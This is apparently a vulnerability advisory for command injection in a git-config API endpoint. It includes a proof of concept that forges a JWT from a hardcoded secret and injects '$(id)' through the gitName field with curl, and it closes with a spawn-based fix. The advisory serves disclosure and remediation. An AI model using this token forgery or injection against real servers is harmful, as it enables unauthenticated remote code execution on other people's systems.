Shell Command Injection in User Git Config Endpoint

Field	Value
Severity	High
CVSS 3.1	8.8 (High) — when chained with VULN-01
CWE	CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Attack Vector	Network
Authentication	JWT required (bypassable via VULN-01)
Affected Files	server/routes/user.js (lines 58-59)

Description

The /api/user/git-config endpoint constructs shell commands by interpolating user-supplied gitName and gitEmail values into command strings passed to child_process.exec(). The input is placed within double quotes and only " is escaped, but backticks (`), $() command substitution, and \ sequences are all interpreted within double-quoted strings in bash.

This allows authenticated attackers to execute arbitrary OS commands via the git configuration endpoint.

Root Cause

server/routes/user.js lines 58-59:

await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);
await execAsync(`git config --global user.email "${gitEmail.replace(/"/g, '\\"')}"`);

Only " is escaped. However, within double-quoted bash strings, the following are still interpreted:

• `malicious_command` — backtick execution
• $(malicious_command) — subshell execution

Impact

• Remote Code Execution (RCE) — arbitrary OS commands execute as the Node.js process user
• The git config --global vector modifies the server-wide git configuration, affecting all git operations
• When chained with VULN-01 (hardcoded JWT), this is fully unauthenticated RCE
• Attacker can: read/write any file, install backdoors, pivot to other systems, exfiltrate data

Proof of Concept

# Step 1: Forge a JWT (see VULN-01)
TOKEN=$(python3 -c "import jwt; print(jwt.encode({'userId':1,'username':'admin'}, 'claude-ui-dev-secret-change-in-production', algorithm='HS256'))")

# Step 2: Inject via gitName using command substitution
curl -X POST "http://REDACTED:5173/api/user/git-config" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"gitName":"$(id)","gitEmail":"[email protected]"}'

The server executes:

git config --global user.name "$(id)"

Bash evaluates $(id) before passing it to git, executing the id command and setting the username to the output.

Remediation

Replace exec() with spawn() (array arguments, no shell):

// BEFORE (vulnerable):
await execAsync(`git config --global user.name "${gitName.replace(/"/g, '\\"')}"`);

// AFTER (safe):
await spawnAsync('git', ['config', '--global', 'user.name', gitName]);
await spawnAsync('git', ['config', '--global', 'user.email', gitEmail]);